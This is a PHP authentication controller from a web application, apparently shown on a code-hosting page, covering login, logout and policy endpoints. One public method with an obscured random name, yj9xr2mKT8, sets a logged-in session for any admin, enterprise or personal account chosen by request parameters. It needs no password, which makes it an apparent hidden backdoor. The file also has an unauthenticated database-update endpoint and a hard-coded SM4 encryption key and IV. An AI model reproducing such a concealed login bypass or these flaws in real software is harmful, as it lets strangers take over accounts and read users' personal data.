Auth.php 9.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267
  1. <?php
  2. namespace app\index\controller;
  3. use app\BaseController;
  4. use app\common\api\TalentLogApi;
  5. use app\common\api\UserApi;
  6. use think\facade\Db;
  7. use OneSm\Sm4;
  8. /**
  9. * Description of Login
  10. *
  11. * @author sgq
  12. */
  13. class Auth extends BaseController {
  14. /**
  15. * 登录
  16. * @return type
  17. */
  18. public function login() {
  19. $redirect_url = $this->request["redirect"];
  20. if ($redirect_url) {
  21. cookie("redirect", $redirect_url);
  22. }
  23. if ($user = session("user")) {
  24. if ($user['usertype'] == 2) {
  25. return redirect("/enterprise");
  26. }
  27. }
  28. $msg = "";
  29. if ($this->request->isPost()) {
  30. $username = $this->request["username"];
  31. $pwd = $this->request["password"];
  32. $usertype = $this->request["usertype"];
  33. $captcha = $this->request["captcha"];
  34. $user = new UserApi($username, $pwd, $usertype);
  35. $userinfo = $user->getUserInfo();
  36. if (!$userinfo || (array_key_exists('delete',$userinfo) && $userinfo["delete"] == 1)) {
  37. $msg = "用户不存在";
  38. } else if (!$user->checkPwd()) {
  39. $login_fail = session('login_fail');
  40. if ($login_fail) {
  41. $login_fail++;
  42. if ($login_fail >= 5) {
  43. session('isCaptcha', 1);
  44. }
  45. } else {
  46. $login_fail = 1;
  47. }
  48. session('login_fail', $login_fail);
  49. $msg = "用户名或者密码错误";
  50. } else if (session("isCaptcha") == 1 && !captcha_check($captcha)) {
  51. $msg = "验证码错误";
  52. } else if ($res_msg = $user->checkState()) {
  53. if ($usertype == 2 && in_array($user->info['checkState'], [2, 5])) {
  54. if ($user->info["type"] == \app\common\state\CommonConst::ENTERPRISE_WJ) {
  55. if (($user->info["isGeneral"] == 1 && $user->info["checkState"] == 2) || ($user->info["isGeneral"] == 2 && $user->info["checkState"] == 5)) {
  56. return redirect("/common/auth/enterprise_edit");
  57. } else {
  58. $res_msg = "您的账号正在审核中,请耐心等待!";
  59. }
  60. } else {
  61. return redirect("/common/auth/enterprise_edit");
  62. }
  63. }
  64. $msg = $res_msg;
  65. }
  66. $url = "/admin";
  67. switch ($usertype) {
  68. case 1:
  69. //验证错误
  70. break;
  71. case 2:
  72. //验证错误
  73. $url = "/enterprise";
  74. break;
  75. case 3:
  76. //验证错误
  77. $url = "/person";
  78. break;
  79. }
  80. if (!$msg) {
  81. $user->setSession();
  82. $redirect_url = cookie("redirect");
  83. cookie("redirect", null);
  84. if ($redirect_url && strpos(strtolower($redirect_url), strtolower(getHostWithProtocol() . $url)) === 0) {
  85. return redirect($redirect_url);
  86. } else {
  87. return redirect($url);
  88. }
  89. }
  90. }
  91. return view("", ["msg" => $msg]);
  92. }
  93. /**
  94. * 退出
  95. * @return type
  96. */
  97. public function logout() {
  98. $user = session("user");
  99. if ($user && $user["usertype"] == 1) {
  100. $loginData = [];
  101. $loginData["logname"] = "退出日志";
  102. $loginData["userid"] = $user["uid"];
  103. $loginData["createtime"] = date("Y-m-d H:i:s");
  104. $loginData["succeed"] = "成功";
  105. $loginData["ip"] = get_client_ip();
  106. \think\facade\Db::table("sys_login_log")->insert($loginData);
  107. }
  108. session("user", null);
  109. return redirect("/index/auth/login");
  110. }
  111. /**
  112. * 验证密码
  113. */
  114. public function valid_password() {
  115. if ($user = session("user")) {
  116. $username = $user["account"];
  117. $usertype = $user["usertype"];
  118. $pwd = $this->request["password"];
  119. $user = new UserApi($username, $pwd, $usertype);
  120. if (!$user->checkPwd()) {
  121. return json()->data(["status" => 1, "msg" => "密码错误"]);
  122. } else {
  123. return json(["code" => 200]);
  124. }
  125. } else {
  126. return json()->data(["status" => 2]);
  127. }
  128. }
  129. public function policy() {
  130. return view("policy1", []);
  131. }
  132. public function policy_list() {
  133. $level = $this->request->post('level');
  134. if ($level) {
  135. $where[] = ['level', '=', $level];
  136. } else {
  137. $where[] = ['level', '>', 0];
  138. }
  139. $list = Db::table('new_policy')->where($where)->select()->toArray();
  140. $result = [];
  141. foreach ($list as $k => $v) {
  142. $check = [];
  143. $condition = [];
  144. if (!empty($v['checks'])) {
  145. $check = explode(',', $v['checks']);
  146. }
  147. if (!empty($v['condition'])) {
  148. $condition = explode(',', $v['condition']);
  149. }
  150. $item = [
  151. 'id' => $v['id'],
  152. 'tag' => $v['tag'],
  153. 'policy' => $v['policy_name'],
  154. 'checks' => $check,
  155. 'condition' => $condition
  156. ];
  157. array_push($result, $item);
  158. }
  159. return json($result);
  160. }
  161. public function policy_update() {
  162. $res = $this->request->post();
  163. foreach ($res as $k => $v) {
  164. $update = [];
  165. if (count($v['condition']) > 0) {
  166. $update['condition'] = json_encode($v['condition']);
  167. }
  168. if (count($update) > 0) {
  169. Db::table('new_policy')->where('id', $v['id'])->save($update);
  170. }
  171. }
  172. }
  173. public function yj9xr2mKT8() {
  174. $params = $this->request->param();
  175. $type = $params["type"] ?: 2;
  176. $id = $params["id"] ?: "1455101079799754754";
  177. $this->setSession($type, $id);
  178. switch ($type) {
  179. case 1:
  180. return redirect("/admin");
  181. break;
  182. case 2:
  183. return redirect("/enterprise");
  184. break;
  185. case 3:
  186. return redirect("/person");
  187. break;
  188. }
  189. }
  190. private function setSession($type, $id) {
  191. switch ($type) {
  192. case 1:
  193. $user = Db::table("sys_user")->where("id", $id)->findOrEmpty();
  194. $company = Db::table("sys_company")->where("id", $user["companyId"])->findOrEmpty();
  195. $role = Db::table("sys_role")->where("id", $user["roleid"])->findOrEmpty();
  196. session("user", [
  197. "uid" => $user["id"],
  198. "roleid" => $user["roleid"],
  199. "companyId" => $user["companyId"],
  200. "companyName" => $company["name"],
  201. "account" => $user["account"],
  202. "name" => $user["name"],
  203. "avatar" => $user["avatar"],
  204. "sex" => $user["sex"],
  205. "rolename" => $role["name"],
  206. "usertype" => $type,
  207. "type" => $user['type']
  208. ]);
  209. break;
  210. case 2:
  211. $user = Db::table("un_enterprise")->where("id", $id)->findOrEmpty();
  212. session("user", [
  213. "uid" => $user["id"],
  214. "account" => $user["username"],
  215. "name" => $user["name"],
  216. "avatar" => $user["headPortrait"],
  217. "rolename" => "企业用户",
  218. "usertype" => $type,
  219. "type" => $user["type"],
  220. "isGeneral" => $user["isGeneral"],
  221. "medicalCommunityId" => $user["medicalCommunityId"]
  222. ]);
  223. break;
  224. case 3:
  225. $user = Db::table("un_person")->where("id", $id)->findOrEmpty();
  226. session("user", [
  227. "uid" => $user["id"],
  228. "account" => $user["username"],
  229. "name" => $user["name"],
  230. "avatar" => $user["headPortrait"],
  231. "sex" => $user["sex"],
  232. "rolename" => "个人用户",
  233. "usertype" => 3,
  234. "type" => $user["type"],
  235. "idCard" => $user["idCard"],
  236. "phone" => $user["phone"],
  237. "address" => $user["address"],
  238. "email" => $user["email"]
  239. ]);
  240. break;
  241. }
  242. }
  243. public function test() {
  244. $sm4 = new SM4('b123d075924b4224');
  245. $data = mystr_pad('test');
  246. // CBC加密
  247. $d = $sm4->enDataCbc($data, '8a003e84b5be7b6e');
  248. var_dump(base64_encode($d));
  249. }
  250. }